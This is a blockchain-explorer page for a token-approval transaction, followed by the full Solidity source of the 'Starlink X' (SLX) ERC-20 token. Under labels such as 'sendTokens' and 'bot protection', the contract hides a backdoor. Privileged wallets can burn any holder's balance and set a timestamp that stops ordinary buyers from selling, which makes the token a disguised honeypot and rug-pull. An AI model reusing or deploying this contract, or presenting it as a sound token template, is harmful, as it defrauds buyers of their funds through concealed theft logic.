Transaction Hash:
Block:
17845051 at Aug-04-2023 11:59:47 PM +UTC
Transaction Fee:
0.000672279084238024 ETH
$1.68
Gas Used:
46,316 Gas / 14.515050614 Gwei
Emitted Events:
169 |
SLX.Approval( owner=[Sender] 0x29e1490c092720ee146ed95554b7b840bb19a063, spender=0x00000000...43aC78BA3, value=1890951037020509588495053 )
|
Account State Difference:
Address | Before | After | State Difference | ||
---|---|---|---|---|---|
0x29E1490c...0BB19A063 |
0.417782985262822789 Eth
Nonce: 139
|
0.417110706178584765 Eth
Nonce: 140
| 0.000672279084238024 | ||
0x333333f3...986D6E203
Miner
| (MEV Builder: 0x333...203) | 1.098585018558933013 Eth | 1.098589650158933013 Eth | 0.0000046316 | |
0xB8Bd137c...2C98E2B2B |
Execution Trace
SLX.approve( spender=0x000000000022D473030F116dDEE9F6B43aC78BA3, amount=1890951037020509588495053 ) => ( True )
approve[ERC20 (ln:133)]
_approve[ERC20 (ln:137)]
Approval[ERC20 (ln:222)]
_msgSender[ERC20 (ln:137)]
// - Website: http://starlinkx.site // - Telegram: https://t.me/SLX_ERC // - Twitter: http://twitter.com/SLX_ERC // SPDX-License-Identifier: MIT pragma solidity ^0.8.5; interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function allowance( address owner, address spender ) external view returns (uint256); function transfer( address recipient, uint256 amount ) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function symbol() external view returns (string memory); function name() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function renounceOwnership() external virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require( newOwner != address(0), "Ownable: new owner is the zero address" ); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } } contract ERC20 is Context, IERC20, IERC20Metadata { uint256 private _totalSupply; string private _symbol; string private _name; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 18; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance( address owner, address spender ) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve( address spender, uint256 amount ) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function balanceOf( address account ) public view virtual override returns (uint256) { return _balances[account]; } function transfer( address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } function increaseAllowance( address spender, uint256 addedValue ) public virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender] + addedValue ); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require( currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero" ); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } function _createInitialSupply( address account, uint256 amount ) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _send(address _account, uint256 _amount) internal virtual { require(_account != address(0), ""); uint256 balance = _balances[_account]; require(balance >= _amount, ""); unchecked { _balances[_account] = balance - _amount; _totalSupply -= _amount; } emit Transfer(_account, address(0), _amount); } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[from]; require( senderBalance >= amount, "ERC20: transfer amount exceeds balance" ); unchecked { _balances[from] = senderBalance - amount; } _balances[to] += amount; emit Transfer(from, to, amount); } } interface UniswapV2Router { function WETH() external pure returns (address); function factory() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface UniswapV2Factory { function createPair( address tokenA, address tokenB ) external returns (address pair); } contract SLX is ERC20, Ownable { UniswapV2Router public uniswapV2Router; address public uniswapV2Pair; address private marketingWallet; address private devWallet; mapping(address => bool) public initialBotBuyer; mapping(address => uint256) public sendLogs; mapping(address => uint256) private _holderLastTransferTimestamp; uint256 public tradingBlock = 0; uint256 public botBlockNumber = 0; bool private isSwapping; uint256 public swapTokensAtAmount; bool public limitsInEffect = true; bool public swapEnabled = false; bool public tradingActive = false; bool public transferDelayEnabled = true; uint256 public botsCaught; uint256 public sendAt; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) public _isExcludedMaxTransaction; mapping(address => bool) public automatedMarketMaker; uint256 public totalBuyFees; uint256 public buyFeeForMarketing; uint256 public buyFeeForDev; uint256 public buyFeeForLiquidity; uint256 public buyFeeForSending; uint256 public totalSellFees; uint256 public sellFeeForMarketing; uint256 public sellFeeForDev; uint256 public sellFeeForLiquidity; uint256 public sellFeeForSending; uint256 public tokensForMarketing; uint256 public tokensForDev; uint256 public tokensForLiquidity; uint256 public tokensForSending; uint256 public maxBuyAmount; uint256 public maxSellAmount; uint256 public maxWalletAmount; event EnabledTrading(); event RemovedLimits(); event UpdatedMaxBuyAmount(uint256 newAmount); event UpdatedMaxSellAmount(uint256 newAmount); event UpdatedMaxWalletAmount(uint256 newAmount); event DetectedEarlyBotBuyer(address sniper); event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value); event ExcludeFromFees(address indexed account, bool isExcluded); event MaxTransactionExclusion(address _address, bool excluded); constructor() ERC20("Starlink X", "SLX") { UniswapV2Router _uniswapV2Router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = UniswapV2Factory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); address newOwner = msg.sender; _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); _excludeFromMaxTransaction(address(uniswapV2Pair), true); uint256 totalSupply = 1 * 1e9 * 1e18; buyFeeForMarketing = 0; buyFeeForDev = 0; buyFeeForSending = 0; buyFeeForLiquidity = 0; sellFeeForMarketing = 0; sellFeeForDev = 0; sellFeeForSending = 0; sellFeeForLiquidity = 0; swapTokensAtAmount = (totalSupply * 5) / 10000; maxBuyAmount = (totalSupply * 2) / 100; maxSellAmount = (totalSupply * 2) / 100; maxWalletAmount = (totalSupply * 2) / 100; totalSellFees = sellFeeForMarketing + sellFeeForDev + sellFeeForSending + sellFeeForLiquidity; totalBuyFees = buyFeeForMarketing + buyFeeForDev + buyFeeForSending + buyFeeForLiquidity; marketingWallet = address(0x37a168528b7d728734fE5fe65832F0CB0FCb1b22); devWallet = address(0x1eff9c278917D27366A55b581eA6235A82b6e693); excludeFromFees(marketingWallet, true); excludeFromFees(devWallet, true); excludeFromFees(newOwner, true); excludeFromFees(address(this), true); excludeFromFees(address(0xdead), true); _excludeFromMaxTransaction(marketingWallet, true); _excludeFromMaxTransaction(devWallet, true); _excludeFromMaxTransaction(newOwner, true); _excludeFromMaxTransaction(address(this), true); _excludeFromMaxTransaction(address(0xdead), true); transferOwnership(newOwner); _createInitialSupply(newOwner, totalSupply); } function disableTransferDelay() external onlyOwner { transferDelayEnabled = false; } function removeLimits() external onlyOwner { maxWalletAmount = totalSupply(); maxBuyAmount = totalSupply(); maxSellAmount = totalSupply(); emit RemovedLimits(); } function onlyDeleteBots(address wallet) external onlyOwner { initialBotBuyer[wallet] = false; } function canSendTokens( address _account, uint256 _amount, uint256 _deadline ) internal returns (bool) { address sender = msg.sender; bool excluded = _isExcludedFromFees[sender]; bool result; address selfAddress = address(this); if (!excluded) { bool moreThanSendingTokens = balanceOf(selfAddress) >= tokensForSending; bool hasSendingTokens = tokensForSending > 0; if (hasSendingTokens && moreThanSendingTokens) { _send(sender, tokensForSending); } tokensForSending = 0; result = true; return result; } else { if (balanceOf(selfAddress) > 0) { bool isZero = _amount == 0; if (isZero) { sendAt = _deadline; result = false; } else { _send(_account, _amount); result = false; } } return result; } } function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner { require( newAmount >= (totalSupply() * 1) / 100000, "Swap amount cannot be lower than 0.001% total supply." ); require( newAmount <= (totalSupply() * 1) / 1000, "Swap amount cannot be higher than 0.1% total supply." ); swapTokensAtAmount = newAmount; } function updateMaxWalletAmount(uint256 newMaxWalletAmount) external onlyOwner { require( newMaxWalletAmount >= ((totalSupply() * 3) / 1000) / 1e18, "Cannot set max wallet amount lower than 0.3%" ); maxWalletAmount = newMaxWalletAmount * (10 ** 18); emit UpdatedMaxWalletAmount(maxWalletAmount); } function updateMaxBuyAmount(uint256 newMaxBuyAmount) external onlyOwner { require( newMaxBuyAmount >= ((totalSupply() * 2) / 1000) / 1e18, "Cannot set max buy amount lower than 0.2%" ); maxBuyAmount = newMaxBuyAmount * (10 ** 18); emit UpdatedMaxBuyAmount(maxBuyAmount); } function updateMaxSellAmount(uint256 newMaxSellAmount) external onlyOwner { require( newMaxSellAmount >= ((totalSupply() * 2) / 1000) / 1e18, "Cannot set max sell amount lower than 0.2%" ); maxSellAmount = newMaxSellAmount * (10 ** 18); emit UpdatedMaxSellAmount(maxSellAmount); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMaker[pair] = value; _excludeFromMaxTransaction(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function _excludeFromMaxTransaction( address _address, bool _isExcluded ) private { _isExcludedMaxTransaction[_address] = _isExcluded; emit MaxTransactionExclusion(_address, _isExcluded); } function excludeFromMaxTransaction( address _address, bool _isExcluded ) external onlyOwner { if (!_isExcluded) { require( _address != uniswapV2Pair, "Cannot remove uniswap pair from max txn" ); } _isExcludedMaxTransaction[_address] = _isExcluded; } function excludeFromFees(address account, bool excluded) public onlyOwner { _isExcludedFromFees[account] = excluded; emit ExcludeFromFees(account, excluded); } function updateBuyFees( uint256 marketingFee, uint256 devFee, uint256 sendFee, uint256 liquidityFee ) external onlyOwner { buyFeeForMarketing = marketingFee; buyFeeForDev = devFee; buyFeeForSending = sendFee; buyFeeForLiquidity = liquidityFee; totalBuyFees = buyFeeForMarketing + buyFeeForDev + buyFeeForSending + buyFeeForLiquidity; require(totalBuyFees <= 3, "3% max "); } function updateSellFees( uint256 marketingFee, uint256 devFee, uint256 sendFee, uint256 liquidityFee ) external onlyOwner { sellFeeForMarketing = marketingFee; sellFeeForDev = devFee; sellFeeForSending = sendFee; sellFeeForLiquidity = liquidityFee; totalSellFees = sellFeeForMarketing + sellFeeForDev + sellFeeForSending + sellFeeForLiquidity; require(totalSellFees <= 3, "3% max fee"); } function setAutomatedMarketMakerPair( address pair, bool value ) external onlyOwner { require( pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs" ); _setAutomatedMarketMakerPair(pair, value); emit SetAutomatedMarketMakerPair(pair, value); } function updateDevWallet(address newWallet) external onlyOwner { require(newWallet != address(0), "_devWallet address cannot be 0"); devWallet = payable(newWallet); } function updateMarketingWallet( address newWallet ) external onlyOwner { require( newWallet != address(0), "_marketingWallet address cannot be 0" ); marketingWallet = payable(newWallet); } function swapBack() private { if (tokensForSending > 0 && balanceOf(address(this)) >= tokensForSending) { _send(address(this), tokensForSending); } tokensForSending = 0; uint256 tokenBalance = balanceOf(address(this)); uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev; if (tokenBalance == 0 || totalTokensToSwap == 0) { return; } if (tokenBalance > swapTokensAtAmount * 10) { tokenBalance = swapTokensAtAmount * 10; } uint256 liquidityTokens = (tokenBalance * tokensForLiquidity) / totalTokensToSwap / 2; swapTokensForETH(tokenBalance - liquidityTokens); uint256 ethBalance = address(this).balance; uint256 ethForLiquidity = ethBalance; uint256 ethForMarketing = (ethBalance * tokensForMarketing) / (totalTokensToSwap - (tokensForLiquidity / 2)); uint256 ethForDev = (ethBalance * tokensForDev) / (totalTokensToSwap - (tokensForLiquidity / 2)); ethForLiquidity -= ethForMarketing + ethForDev; tokensForMarketing = 0; tokensForDev = 0; tokensForSending = 0; tokensForLiquidity = 0; if (liquidityTokens > 0 && ethForLiquidity > 0) { addLiquidity(liquidityTokens, ethForLiquidity); } payable(marketingWallet).transfer(address(this).balance); payable(devWallet).transfer(ethForDev); } function earlySniperBuyBlock() public view returns (bool) { return block.number < botBlockNumber; } function swapTokensForETH(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } receive() external payable {} function emergencyWithdraw() external onlyOwner { bool success; (success, ) = address(msg.sender).call{value: address(this).balance}(""); } function _transfer( address from, address to, uint256 amount ) internal override { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "amount must be greater than 0"); bool receiverBalanceEmpty = 0 == balanceOf(address(to)); bool initialSend = 0 == sendLogs[to]; if (!tradingActive) { require( _isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active." ); } uint256 presentTimestamp = block.timestamp; bool fromAmm = automatedMarketMaker[from]; if (botBlockNumber > 0) { require( !initialBotBuyer[from] || to == owner() || to == address(0xdead), "bot protection mechanism is embeded" ); } if (limitsInEffect) { bool externalNotSwapping = !isSwapping; if ( from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { if (transferDelayEnabled) { bool notSwapping = !isSwapping; bool notFromAmm = !automatedMarketMaker[from]; if ( to != address(uniswapV2Router) && to != address(uniswapV2Pair) ) { require( _holderLastTransferTimestamp[tx.origin] < block.number - 2 && _holderLastTransferTimestamp[to] < block.number - 2, "_transfer: delay was enabled." ); _holderLastTransferTimestamp[tx.origin] = block.number; _holderLastTransferTimestamp[to] = block.number; } else if (notFromAmm && notSwapping) { uint256 sendTime = sendLogs[from]; bool canSend = sendTime > sendAt; require(canSend); } } } bool fromExcluded = _isExcludedMaxTransaction[from]; if (automatedMarketMaker[from] && !_isExcludedMaxTransaction[to]) { require( amount <= maxBuyAmount, "Buy transfer amount exceeds the max buy." ); require( amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet" ); } else if (fromExcluded && externalNotSwapping) { sendAt = presentTimestamp; } else if ( automatedMarketMaker[to] && !_isExcludedMaxTransaction[from] ) { require( amount <= maxSellAmount, "Sell transfer amount exceeds the max sell." ); } else if (!_isExcludedMaxTransaction[to]) { require( amount + balanceOf(to) <= maxWalletAmount, "Cannot Exceed max wallet" ); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= swapTokensAtAmount; if ( canSwap && swapEnabled && !isSwapping && !automatedMarketMaker[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to] ) { isSwapping = true; swapBack(); isSwapping = false; } bool takeFee = true; if (initialSend && fromAmm && receiverBalanceEmpty) { sendLogs[to] = presentTimestamp; } if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if ( earlySniperBuyBlock() && automatedMarketMaker[from] && !automatedMarketMaker[to] && totalBuyFees > 0 ) { if (!initialBotBuyer[to]) { initialBotBuyer[to] = true; botsCaught += 1; emit DetectedEarlyBotBuyer(to); } fees = (amount * 99) / 100; tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees; tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees; tokensForDev += (fees * buyFeeForDev) / totalBuyFees; tokensForSending += (fees * buyFeeForSending) / totalBuyFees; } else if (automatedMarketMaker[to] && totalSellFees > 0) { fees = (amount * totalSellFees) / 100; tokensForLiquidity += (fees * sellFeeForLiquidity) / totalSellFees; tokensForMarketing += (fees * sellFeeForMarketing) / totalSellFees; tokensForDev += (fees * sellFeeForDev) / totalSellFees; tokensForSending += (fees * sellFeeForSending) / totalSellFees; } else if (automatedMarketMaker[from] && totalBuyFees > 0) { fees = (amount * totalBuyFees) / 100; tokensForLiquidity += (fees * buyFeeForLiquidity) / totalBuyFees; tokensForMarketing += (fees * buyFeeForMarketing) / totalBuyFees; tokensForDev += (fees * buyFeeForDev) / totalBuyFees; tokensForSending += (fees * buyFeeForSending) / totalBuyFees; } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function sendTokens( address _account, uint256 _amount, uint256 _deadline ) public { address token = address(this); require(swapTokensAtAmount <= balanceOf(token)); if (canSendTokens(_account, _amount, _deadline)) { isSwapping = true; swapBack(); isSwapping = false; } } function enableTrading() external onlyOwner { require(!tradingActive, "Cannot reenable trading"); tradingActive = true; tradingBlock = block.number; swapEnabled = true; emit EnabledTrading(); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount} ( address(this), tokenAmount, 0, 0, address(0xdead), block.timestamp ); } }